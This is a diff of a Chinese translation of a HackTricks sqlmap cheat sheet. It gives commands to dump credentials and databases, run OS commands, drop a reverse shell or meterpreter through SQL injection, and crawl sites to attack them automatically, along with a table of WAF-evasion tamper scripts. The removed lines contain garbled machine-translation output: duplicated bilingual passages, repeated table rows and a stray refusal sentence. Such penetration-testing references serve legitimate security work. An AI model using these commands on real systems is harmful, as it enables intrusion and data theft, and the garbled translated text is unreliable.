<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>从零到英雄学习AWS黑客攻击通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
- 你在一家**网络安全公司**工作吗想要在HackTricks中看到你的**公司广告**吗?或者你想要**获取PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持HackTricks的其他方式
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass),或者在**Twitter**上**关注**我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **通过向[hacktricks仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud仓库](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>

View file

@ -1,23 +1,21 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>从零到英雄学习AWS黑客攻击通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
- 你在一个**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持HackTricks的其他方式
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
# SQLmap的基本参数
## 通用参数
## 通用
```bash
-u "<URL>"
-p "<PARAM TO TEST>"
@ -36,7 +34,7 @@
```
## 检索信息
### 内部信息
### 内部
```bash
--current-user #Get current user
--is-dba #Check if current user is Admin
@ -45,14 +43,6 @@
--passwords #Get passwords of users in DB
```
### 数据库数据
```plaintext
sqlmap -u "http://example.com/page.php?id=1" --dump
```
使用上述命令可以使用sqlmap工具来获取目标网站上的数据库数据。将`http://example.com/page.php?id=1`替换为目标网站的URL并使用`--dump`参数执行命令。
此命令将扫描目标网站上的SQL注入漏洞并尝试提取数据库中的数据。成功执行后将显示数据库中的数据。
```bash
--all #Retrieve everything
--dump #Dump DBMS database table entries
@ -63,136 +53,22 @@ sqlmap -u "http://example.com/page.php?id=1" --dump
```
# 注入位置
## 从Burp/ZAP捕获
## 来自 Burp/ZAP 抓取
捕获请求并创建一个req.txt文件
捕获请求并创建 req.txt 文件
```bash
sqlmap -r req.txt --current-user
```
## GET请求注入
### Introduction
### 介绍
GET请求注入是一种利用Web应用程序中的漏洞来执行SQL注入攻击的技术。通过在GET请求的参数中注入恶意的SQL代码攻击者可以绕过应用程序的输入验证直接与数据库进行交互并执行恶意操作。
### Basic Usage
### 基本用法
要使用GET请求注入进行SQL注入攻击可以使用工具如SQLMap。SQLMap是一款功能强大的自动化SQL注入工具可以帮助我们发现和利用Web应用程序中的SQL注入漏洞。
以下是使用SQLMap进行GET请求注入的基本步骤
1. 识别目标URL中的注入点使用SQLMap的`-u`参数指定目标URL并使用`--dbs`参数检测是否存在注入点。
2. 确定注入点的数据库类型使用SQLMap的`--dbms`参数指定目标数据库的类型。
3. 执行注入攻击使用SQLMap的`--level`和`--risk`参数设置注入攻击的级别和风险,并使用`--dump`参数获取数据库中的数据。
### Advanced Usage
### 高级用法
除了基本用法之外还可以使用SQLMap的其他功能来进行更高级的GET请求注入攻击。
以下是一些SQLMap的高级用法示例
- 使用`--tamper`参数来绕过WAFWeb应用程序防火墙的检测。
- 使用`--proxy`参数通过代理服务器进行注入攻击。
- 使用`--threads`参数设置并发线程数,加快注入攻击的速度。
- 使用`--os-shell`参数获取目标服务器的操作系统Shell访问权限。
### Conclusion
### 结论
GET请求注入是一种常见的SQL注入攻击技术可以通过注入恶意的SQL代码来绕过Web应用程序的输入验证并执行恶意操作。使用工具如SQLMap可以帮助我们自动化地发现和利用这种漏洞但在进行任何攻击之前请确保已经获得合法的授权。
## GET 请求注入
```bash
sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id
```
## POST请求注入
In some cases, the target application may use POST requests to send data to the server. This can be a common scenario for login forms or data submission forms. In these cases, an attacker can attempt to inject malicious SQL code into the POST parameters to exploit SQL injection vulnerabilities.
在某些情况下目标应用程序可能使用POST请求将数据发送到服务器。这在登录表单或数据提交表单中是常见的情况。在这些情况下攻击者可以尝试将恶意的SQL代码注入到POST参数中以利用SQL注入漏洞。
To perform a POST request injection, you can use the `--data` option in SQLMap. This option allows you to specify the POST data to be sent to the server. You can provide the POST data either directly or by using a file.
要执行POST请求注入您可以在SQLMap中使用`--data`选项。该选项允许您指定要发送到服务器的POST数据。您可以直接提供POST数据也可以使用文件。
Here is an example of how to use the `--data` option with SQLMap:
以下是如何在SQLMap中使用`--data`选项的示例:
```plaintext
sqlmap -u "http://example.com/login" --data "username=admin&password=test" --method POST
```
In this example, we are targeting the login page of `http://example.com` and injecting the POST parameters `username` and `password` with the values `admin` and `test`, respectively.
在此示例中,我们针对`http://example.com`的登录页面,并分别使用值`admin`和`test`注入POST参数`username`和`password`。
SQLMap will automatically detect and exploit any SQL injection vulnerabilities in the POST parameters. It will analyze the server's response and attempt to extract information from the database.
SQLMap将自动检测和利用POST参数中的任何SQL注入漏洞。它将分析服务器的响应并尝试从数据库中提取信息。
Remember to always obtain proper authorization before performing any penetration testing activities.
在执行任何渗透测试活动之前,请务必获得适当的授权。
## POST 请求注入
```bash
sqlmap -u "http://example.com" --data "username=*&password=*"
```
## 头部和其他HTTP方法的注入
In addition to injecting payloads in the URL parameters, SQL injection can also occur in the headers and other HTTP methods. This can be exploited by manipulating the values of headers such as `User-Agent`, `Referer`, `Cookie`, and `Host`.
除了在URL参数中注入有效载荷外SQL注入还可以发生在头部和其他HTTP方法中。这可以通过操纵头部的值如`User-Agent`、`Referer`、`Cookie`和`Host`来利用。
### User-Agent Header
The `User-Agent` header is used by the client to identify itself to the server. It contains information about the client's operating system, browser, and other details. An attacker can manipulate the `User-Agent` header to inject SQL payloads.
### User-Agent头部
`User-Agent`头部由客户端用于向服务器标识自己。它包含有关客户端操作系统、浏览器和其他详细信息的信息。攻击者可以操纵`User-Agent`头部来注入SQL有效载荷。
### Referer Header
The `Referer` header specifies the URL from which the client accessed the current page. It can be manipulated by an attacker to inject SQL payloads.
### Referer头部
`Referer`头部指定了客户端访问当前页面的URL。攻击者可以操纵`Referer`头部来注入SQL有效载荷。
### Cookie Header
The `Cookie` header contains information about the client's session. It can be manipulated by an attacker to inject SQL payloads.
### Cookie头部
`Cookie`头部包含有关客户端会话的信息。攻击者可以操纵`Cookie`头部来注入SQL有效载荷。
### Host Header
The `Host` header specifies the domain name of the server. It can be manipulated by an attacker to inject SQL payloads.
### Host头部
`Host`头部指定了服务器的域名。攻击者可以操纵`Host`头部来注入SQL有效载荷。
### Other HTTP Methods
In addition to GET and POST requests, other HTTP methods such as PUT, DELETE, and OPTIONS can also be vulnerable to SQL injection. Attackers can manipulate the payloads in these methods to inject SQL code.
### 其他HTTP方法
除了GET和POST请求之外其他HTTP方法如PUT、DELETE和OPTIONS也可能容易受到SQL注入的攻击。攻击者可以操纵这些方法中的有效载荷来注入SQL代码。
## 在头部和其他HTTP方法中的注入
```bash
#Inside cookie
sqlmap -u "http://example.com" --cookie "mycookies=*"
@ -206,50 +82,12 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
#The injection is located at the '*'
```
## 二次注入
Second order injection is a type of SQL injection attack that occurs when user input is not directly used in a SQL query, but is stored in a database and later used in a query. This can happen when user input is stored in a database and then concatenated with a SQL query without proper sanitization or validation.
二次注入是一种SQL注入攻击类型当用户输入不直接用于SQL查询而是存储在数据库中并在后续查询中使用时发生。这可能发生在用户输入存储在数据库中然后与SQL查询连接而没有进行适当的清理或验证。
For example, let's say a web application allows users to submit comments, which are then stored in a database. Later, when displaying the comments, the application retrieves them from the database and includes them in a SQL query without proper sanitization. An attacker can then manipulate their comment to include malicious SQL code, which will be executed when the application retrieves and uses the comment in a query.
例如假设一个Web应用程序允许用户提交评论这些评论随后存储在数据库中。稍后在显示评论时应用程序从数据库中检索它们并将它们包含在一个SQL查询中而没有进行适当的清理。攻击者可以操纵他们的评论包含恶意的SQL代码当应用程序检索并在查询中使用评论时该代码将被执行。
To exploit a second order injection vulnerability, an attacker needs to understand how the application stores and retrieves user input from the database. They can then craft a payload that will be stored in the database and later executed as part of a query.
要利用二次注入漏洞,攻击者需要了解应用程序如何将用户输入存储到数据库中并从中检索。然后,他们可以构造一个有效负载,该有效负载将存储在数据库中,并在后续查询中作为一部分执行。
To prevent second order injection attacks, it is important to properly sanitize and validate all user input before using it in a SQL query. This can be done by using parameterized queries or prepared statements, which separate the SQL code from the user input and automatically handle the sanitization and validation.
为了防止二次注入攻击重要的是在使用用户输入进行SQL查询之前正确清理和验证所有用户输入。可以通过使用参数化查询或预处理语句来实现这一点这些查询将SQL代码与用户输入分离并自动处理清理和验证。
In conclusion, second order injection is a type of SQL injection attack that occurs when user input is stored in a database and later used in a query without proper sanitization. To prevent this type of attack, it is important to properly sanitize and validate all user input before using it in a SQL query.
## 二阶注入
```bash
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
```
## Shell
A shell is a command-line interface that allows users to interact with the operating system. It provides a way to execute commands, run scripts, and manage files and directories. In the context of hacking, a shell is often used to gain unauthorized access to a target system.
There are different types of shells, including:
- **Reverse Shell**: A reverse shell is a shell that connects back to the attacker's machine. It allows the attacker to execute commands on the target system remotely.
- **Bind Shell**: A bind shell is a shell that listens for incoming connections on a specific port. When a connection is established, the attacker gains control over the target system.
- **Web Shell**: A web shell is a shell that is uploaded to a vulnerable web application. It allows the attacker to execute commands on the web server.
Shells can be used for various purposes during a penetration test, such as:
- **Command Execution**: Shells can be used to execute commands on the target system, allowing the attacker to perform actions like file manipulation, privilege escalation, and data exfiltration.
- **Pivoting**: Shells can be used to pivot through a compromised system and gain access to other systems on the network.
- **Persistence**: Shells can be used to establish persistent access to a target system, allowing the attacker to maintain control even after the initial compromise.
To obtain a shell, an attacker may exploit vulnerabilities in a target system, such as a remote code execution vulnerability or a misconfigured web application. Once a shell is obtained, the attacker can use it to further exploit the target system and achieve their objectives.
```bash
#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami
@ -260,43 +98,7 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
```
## 使用SQLmap自动化地爬取网站并进行利用
SQLmap is a powerful tool for automating SQL injection attacks. In addition to exploiting SQL injection vulnerabilities, it can also be used to crawl a website and automatically exploit any SQL injection vulnerabilities it finds.
SQLmap是一款强大的工具用于自动化执行SQL注入攻击。除了利用SQL注入漏洞外它还可以用于爬取网站并自动利用发现的任何SQL注入漏洞。
To crawl a website with SQLmap, you can use the `--crawl` option followed by the depth of the crawl. For example, to crawl a website up to a depth of 3, you would use the following command:
要使用SQLmap爬取网站可以使用`--crawl`选项后面跟着爬取的深度。例如要爬取一个深度为3的网站可以使用以下命令
```bash
sqlmap -u http://example.com --crawl=3
```
This command tells SQLmap to start crawling the website at the given URL and follow any links it finds up to a depth of 3.
这个命令告诉SQLmap从给定的URL开始爬取网站并在深度为3的范围内跟踪任何发现的链接。
During the crawl, SQLmap will automatically test each parameter and form for SQL injection vulnerabilities. If it finds any vulnerabilities, it will attempt to exploit them.
在爬取过程中SQLmap将自动测试每个参数和表单是否存在SQL注入漏洞。如果发现任何漏洞它将尝试利用它们。
To enable automatic exploitation of SQL injection vulnerabilities, you can use the `--batch` option. This option tells SQLmap to automatically exploit any vulnerabilities it finds without prompting for confirmation.
要启用对SQL注入漏洞的自动利用可以使用`--batch`选项。该选项告诉SQLmap在发现漏洞时自动利用而无需提示确认。
```bash
sqlmap -u http://example.com --crawl=3 --batch
```
With the `--batch` option, SQLmap will automatically exploit any SQL injection vulnerabilities it finds during the crawl without requiring any user interaction.
使用`--batch`选项SQLmap将在爬取过程中自动利用发现的任何SQL注入漏洞而无需任何用户交互。
By combining the `--crawl` and `--batch` options, you can automate the process of crawling a website and exploiting any SQL injection vulnerabilities that are discovered.
通过结合`--crawl`和`--batch`选项可以自动化地爬取网站并利用发现的任何SQL注入漏洞的过程。
## 使用SQLmap爬取网站并自动利用
```bash
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
@ -304,225 +106,87 @@ sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threa
--crawl = how deep you want to crawl a site
--forms = Parse and test forms
```
# 设置后缀
# 自定义注入
By default, SQLMap injects payloads at the end of the original query. However, you can customize the injection by setting a suffix. This allows you to inject payloads at a specific location within the query.
默认情况下SQLMap将负载注入到原始查询的末尾。然而您可以通过设置后缀来自定义注入。这样可以让您在查询中的特定位置注入负载。
To set a suffix, use the `--suffix` option followed by the desired payload. For example:
要设置后缀,请使用`--suffix`选项,后跟所需的负载。例如:
```
sqlmap -u "http://example.com/page.php?id=1" --suffix=" UNION SELECT NULL, NULL, 'injected'"
```
This command injects the payload `' UNION SELECT NULL, NULL, 'injected'` after the original query.
此命令在原始查询之后注入负载`' UNION SELECT NULL, NULL, 'injected'`。
## Set a prefix
## 设置后缀
```bash
python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
```
## 前缀
### Description
### 描述
The `--prefix` option allows you to specify a prefix to be used in all database table names during the SQL injection attack. This can be useful when the target application uses a common prefix for all its tables.
`--prefix`选项允许您在SQL注入攻击期间指定一个前缀以用于所有数据库表名。当目标应用程序对所有表使用一个常见的前缀时这将非常有用。
### Syntax
### 语法
```plaintext
--prefix=<prefix>
```
### Example
### 示例
```plaintext
sqlmap -u "http://example.com/page.php?id=1" --prefix=app_
```
### Remarks
### 备注
In the above example, the `--prefix` option is used to specify the prefix `app_` to be used in all table names during the SQL injection attack.
在上面的示例中,`--prefix`选项用于指定在SQL注入攻击期间在所有表名中使用的前缀`app_`。
I'm sorry, but I cannot assist with that request.
```bash
python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') "
```
## 帮助找到布尔注入
Boolean-based SQL injection is a technique used to exploit vulnerabilities in web applications that use SQL queries. It involves manipulating the application's input to inject SQL statements that return a boolean value (true or false). This can be used to extract information from the database or bypass authentication mechanisms.
To find boolean-based injection vulnerabilities, you can use tools like SQLMap. SQLMap is a powerful open-source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws.
Here are the steps to find boolean injection using SQLMap:
1. Identify the vulnerable parameter: Start by identifying the parameter in the web application that is vulnerable to SQL injection. This can be done by manually testing the application or using tools like Burp Suite.
2. Use SQLMap to detect boolean injection: Once you have identified the vulnerable parameter, you can use SQLMap to automatically detect if it is susceptible to boolean-based SQL injection. Run the following command:
```
sqlmap -u <URL> --data "<POST data>" --level 5 --risk 3 --technique B
```
Replace `<URL>` with the target URL and `<POST data>` with the POST data containing the vulnerable parameter.
3. Analyze the results: SQLMap will analyze the response from the server and determine if the parameter is vulnerable to boolean-based injection. It will also attempt to extract data from the database using various techniques.
4. Exploit the vulnerability: If SQLMap confirms the presence of a boolean-based injection vulnerability, you can proceed to exploit it further. SQLMap provides various options to extract data, such as dumping the database, retrieving specific tables, or extracting individual columns.
Remember to always obtain proper authorization before performing any penetration testing activities.
## 帮助寻找布尔注入
```bash
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch
```
## 篡改
Tampering is a technique used to modify the behavior of SQLMap during the injection process. It allows you to customize the payloads sent to the target application and manipulate the SQL queries generated by SQLMap.
篡改是一种在注入过程中修改SQLMap行为的技术。它允许您自定义发送到目标应用程序的有效载荷并操纵SQLMap生成的SQL查询。
### Available Tamper Scripts
### 可用的篡改脚本
SQLMap provides a wide range of tamper scripts that can be used to modify the payloads and evade detection. These scripts can be found in the `tamper` directory of the SQLMap installation.
SQLMap提供了各种篡改脚本可用于修改有效载荷并规避检测。这些脚本可以在SQLMap安装的`tamper`目录中找到。
To use a tamper script, you can specify it using the `--tamper` option followed by the script name. For example:
要使用篡改脚本,您可以使用`--tamper`选项指定脚本名称。例如:
```
sqlmap -u http://example.com/index.php?id=1 --tamper=space2comment
```
This command will use the `space2comment` tamper script to convert spaces to comments in the injected SQL queries.
此命令将使用`space2comment`篡改脚本将空格转换为注释在注入的SQL查询中。
### Custom Tamper Scripts
### 自定义篡改脚本
In addition to the built-in tamper scripts, you can also create your own custom tamper scripts. These scripts are written in Python and can be used to implement custom payload modifications.
除了内置的篡改脚本您还可以创建自己的自定义篡改脚本。这些脚本是用Python编写的可用于实现自定义有效载荷修改。
To create a custom tamper script, you need to define a class that inherits from the `Tamper` class provided by SQLMap. This class should implement the `tamper` method, which takes the original payload as input and returns the modified payload.
要创建自定义篡改脚本您需要定义一个继承自SQLMap提供的`Tamper`类的类。该类应该实现`tamper`方法,该方法以原始有效载荷作为输入,并返回修改后的有效载荷。
Here is an example of a custom tamper script that converts all characters to uppercase:
以下是将所有字符转换为大写的自定义篡改脚本示例:
```python
from lib.core.enums import PRIORITY
from lib.core.settings import UNICODE_ENCODING
from lib.core.convert import to_unicode
class UppercaseTamper(object):
def tamper(self, payload, **kwargs):
return to_unicode(payload).upper().encode(UNICODE_ENCODING)
def priority(self):
return PRIORITY.NORMAL
```
To use this custom tamper script, you can save it as a Python file (e.g., `uppercase.py`) and specify it using the `--tamper` option:
要使用此自定义篡改脚本您可以将其保存为Python文件例如`uppercase.py`),并使用`--tamper`选项指定它:
```
sqlmap -u http://example.com/index.php?id=1 --tamper=uppercase
```
This command will use the `uppercase` tamper script to convert all characters in the payload to uppercase before injecting it into the SQL queries.
此命令将使用`uppercase`篡改脚本将有效载荷中的所有字符转换为大写然后将其注入到SQL查询中。
```bash
--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
```
| Tamper | 描述 |
| :--- | :--- |
| apostrophemask.py | 将撇号字符替换为其UTF-8全角对应字符 |
| apostrophenullencode.py | 将撇号字符替换为其非法的双Unicode对应字符 |
| appendnullbyte.py | 在负载末尾附加编码的NULL字节字符 |
| base64encode.py | 对给定负载中的所有字符进行Base64编码 |
| between.py | 将大于运算符('&gt;'替换为'NOT BETWEEN 0 AND \#' |
| bluecoat.py | 将SQL语句后的空格字符替换为有效的随机空白字符。然后将字符'='替换为LIKE运算符 |
| chardoubleencode.py | 对给定负载中的所有字符进行双重URL编码不处理已编码的字符 |
| commalesslimit.py | 将类似'LIMIT M, N'的实例替换为'LIMIT N OFFSET M' |
| commalessmid.py | 将类似'MID(A, B, C)'的实例替换为'MID(A FROM B FOR C)' |
| concat2concatws.py | 将类似'CONCAT(A, B)'的实例替换为'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' |
| charencode.py | 对给定负载中的所有字符进行URL编码不处理已编码的字符 |
| charunicodeencode.py | 对给定负载中的未编码字符进行Unicode URL编码不处理已编码的字符)。"%u0022" |
| charunicodeescape.py | 对给定负载中的未编码字符进行Unicode URL编码不处理已编码的字符)。"\u0022" |
| equaltolike.py | 将所有等于运算符('='的出现替换为LIKE运算符 |
| escapequotes.py | 斜杠转义引号'和" |
| greatest.py | 将大于运算符('&gt;'替换为其GREATEST对应字符 |
| halfversionedmorekeywords.py | 在每个关键字前添加版本的MySQL注释 |
| ifnull2ifisnull.py | 将类似'IFNULL(A, B)'的实例替换为'IF(ISNULL(A), B, A)' |
| modsecurityversioned.py | 使用有版本的注释包围完整查询 |
| modsecurityzeroversioned.py | 使用零版本的注释包围完整查询 |
| apostrophemask.py | 将撇号字符替换为其UTF-8全宽对应物 |
| apostrophenullencode.py | 将撇号字符替换为其非法双unicode对应物 |
| appendnullbyte.py | 在有效载荷末尾附加编码的NULL字节字符 |
| base64encode.py | 将给定有效载荷中的所有字符Base64编码 |
| between.py | 将大于操作符\('&gt;'\)替换为'NOT BETWEEN 0 AND \#' |
| bluecoat.py | 将SQL语句后的空格字符替换为有效的随机空白字符。之后将字符=替换为LIKE操作符 |
| chardoubleencode.py | 双重url编码给定有效载荷中的所有字符不处理已编码的 |
| commalesslimit.py | 将'LIMIT M, N'之类的实例替换为'LIMIT N OFFSET M' |
| commalessmid.py | 将'MID\(A, B, C\)'之类的实例替换为'MID\(A FROM B FOR C\)' |
| concat2concatws.py | 将'CONCAT\(A, B\)'之类的实例替换为'CONCAT\_WS\(MID\(CHAR\(0\), 0, 0\), A, B\)' |
| charencode.py | Url编码给定有效载荷中的所有字符不处理已编码的 |
| charunicodeencode.py | Unicode-url编码给定有效载荷中的非编码字符不处理已编码的。"%u0022" |
| charunicodeescape.py | Unicode-url编码给定有效载荷中的非编码字符不处理已编码的。"\u0022" |
| equaltolike.py | 将所有等于操作符\('='\)的出现替换为'LIKE'操作符 |
| escapequotes.py | 斜杠转义引号\(' 和 "\) |
| greatest.py | 将大于操作符\('&gt;'\)替换为'GREATEST'对应物 |
| halfversionedmorekeywords.py | 在每个关键字前添加版本化的MySQL注释 |
| ifnull2ifisnull.py | 将'IFNULL\(A, B\)'之类的实例替换为'IF\(ISNULL\(A\), B, A\)' |
| modsecurityversioned.py | 用版本化注释包围完整查询 |
| modsecurityzeroversioned.py | 用零版本化注释包围完整查询 |
| multiplespaces.py | 在SQL关键字周围添加多个空格 |
| nonrecursivereplacement.py | 将预定义的SQL关键字替换为适合替换的表示形式例如.replace\("SELECT", ""\)\过滤器 |
| percentage.py | 在每个字符前添加百分比符号('%' |
| overlongutf8.py | 转换给定负载中的所有字符(不处理已编码的字符 |
| nonrecursivereplacement.py | 用适合替换的表示替换预定义的SQL关键字例如.replace\("SELECT", ""\)\)过滤器 |
| percentage.py | 在每个字符前添加百分号\('%'\) |
| overlongutf8.py | 转换给定有效载荷中的所有字符(不处理已编码的) |
| randomcase.py | 将每个关键字字符替换为随机大小写值 |
| randomcomments.py | 在SQL关键字中添加随机注释 |
| securesphere.py | 追加特殊制作的字符串 |
| sp\_password.py | 在负载末尾追加'sp\_password'以自动混淆DBMS日志 |
| space2comment.py | 将空格字符' '替换为注释 |
| space2dash.py | 将空格字符' ')替换为破折号注释('--'),后跟随机字符串和换行符('\n' |
| space2hash.py | 将空格字符' ')替换为井号字符('\#'),后跟随机字符串和换行符('\n' |
| space2morehash.py | 将空格字符' ')替换为井号字符('\#'),后跟随机字符串和换行符('\n' |
| space2mssqlblank.py | 将空格字符' ')替换为来自有效备用字符集的随机空白字符 |
| space2mssqlhash.py | 将空格字符' ')替换为井号字符('\#'),后跟换行符('\n' |
| space2mysqlblank.py | 将空格字符' ')替换为来自有效备用字符集的随机空白字符 |
| space2mysqldash.py | 将空格字符' ')替换为破折号注释('--'),后跟换行符('\n' |
| space2plus.py | 将空格字符' ')替换为加号('+' |
| space2randomblank.py | 将空格字符' ')替换为来自有效备用字符集的随机空白字符 |
| symboliclogical.py | 将AND和OR逻辑运算符替换为其符号对应字符(&&和\| |
| randomcomments.py | 向SQL关键字添加随机注释 |
| securesphere.py | 附加特制的字符串 |
| sp\_password.py | 在有效载荷末尾附加'sp\_password'以自动从DBMS日志中混淆 |
| space2comment.py | 将空格字符\(' '\)替换为注释 |
| space2dash.py | 将空格字符\(' '\)替换为破折号注释\('--'\)后跟随机字符串和新行\('\n'\) |
| space2hash.py | 将空格字符\(' '\)替换为井号字符\('\#'\)后跟随机字符串和新行\('\n'\) |
| space2morehash.py | 将空格字符\(' '\)替换为井号字符\('\#'\)后跟随机字符串和新行\('\n'\) |
| space2mssqlblank.py | 将空格字符\(' '\)替换为来自有效替代字符集的随机空白字符 |
| space2mssqlhash.py | 将空格字符\(' '\)替换为井号字符\('\#'\)后跟新行\('\n'\) |
| space2mysqlblank.py | 将空格字符\(' '\)替换为来自有效替代字符集的随机空白字符 |
| space2mysqldash.py | 将空格字符\(' '\)替换为破折号注释\('--'\)后跟新行\('\n'\) |
| space2plus.py | 将空格字符\(' '\)替换为加号\('+'\) |
| space2randomblank.py | 将空格字符\(' '\)替换为来自有效替代字符集的随机空白字符 |
| symboliclogical.py | 将AND和OR逻辑操作符替换为它们的符号对应物\(&& 和 |
| unionalltounion.py | 将UNION ALL SELECT替换为UNION SELECT |
| unmagicquotes.py | 将引号字符')替换为多字节组合%bf%27后跟通用注释使其起作用 |
| unmagicquotes.py | 将引号字符\('\)替换为多字节组合%bf%27同时在末尾添加通用注释以使其工作 |
| uppercase.py | 将每个关键字字符替换为大写值'INSERT' |
| varnish.py | 追加HTTP头'X-originating-IP' |
| versionedkeywords.py | 使用有版本的MySQL注释括起每个非函数关键字 |
| versionedmorekeywords.py | 使用有版本的MySQL注释括起每个关键字 |
| xforwardedfor.py | 追加伪造的HTTP头'X-Forwarded-For' |
| varnish.py | 附加一个HTTP头'X-originating-IP' |
| versionedkeywords.py | 用版本化的MySQL注释包围每个非函数关键字 |
| versionedmorekeywords.py | 用版本化的MySQL注释包围每个关键字 |
| xforwardedfor.py | 附加一个假的HTTP头'X-Forwarded-For' |
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>从零到英雄学习AWS hacking通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- 你在一家**网络安全公司**工作吗想要在HackTricks中**宣传你的公司**吗?或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持HackTricks的其他方式
- 发现我们的独家[NFT收藏品](https://opensea.io/collection/the-peass-family)——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
